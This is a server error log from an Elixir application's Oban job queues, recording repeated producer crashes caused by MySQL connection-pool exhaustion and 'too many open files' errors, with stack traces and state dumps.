State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:43:56.239864Z], limit: 5, uuid: "529dae10-0994-4505-96dc-7aeed4543e1b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:56.239869Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212736>, refresh_timer: #Reference<0.2525715032.1077411843.212714>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:08.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:43:56.239967Z], limit: 20, uuid: "1dee6657-f2ce-43c2-b964-f60f1f9cbf5f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:56.239972Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212738>, refresh_timer: #Reference<0.2525715032.1121189889.88928>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:17.023000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:18.518000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:19.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:20.096000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:44:08.241556Z], limit: 50, uuid: "820a8061-a7ea-4778-876b-f9f3e37f5160", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:08.241562Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.233859>, refresh_timer: #Reference<0.2525715032.1099169794.242349>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:44:08.241310Z], limit: 5, uuid: "e137adbf-f1ea-442a-a732-1ca0c00e3282", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:08.241315Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.233838>, refresh_timer: #Reference<0.2525715032.1121189889.89192>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:44:08.240702Z], limit: 5, uuid: "bf224c2c-bc80-4b84-9c7f-8fce5d696200", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:08.240707Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.233839>, refresh_timer: #Reference<0.2525715032.1121189889.89176>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:44:08.241342Z], limit: 20, uuid: "34b41783-9dfd-4b70-8f07-fba03faa5270", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:08.241348Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.89196>, refresh_timer: #Reference<0.2525715032.1121189889.89195>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:44:08.240189Z], limit: 3, uuid: "6a43bea8-65ca-4578-8d35-c93b53c5e121", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:08.240196Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242341>, refresh_timer: #Reference<0.2525715032.1077411843.212917>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:44:08.240767Z], limit: 10, uuid: "36ee756e-0717-4907-9415-0f3e0f0db6a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:08.240771Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.233837>, refresh_timer: #Reference<0.2525715032.1121189889.89175>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:20.833000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:24.563000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:26.157000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:26.410000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:28.409000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:28.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:28.548000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:30.441000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:33.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:44:20.238018Z], limit: 50, uuid: "fdc0044d-5e44-41a7-abd6-52464c30e2d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:20.238027Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242480>, refresh_timer: #Reference<0.2525715032.1099169794.242452>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
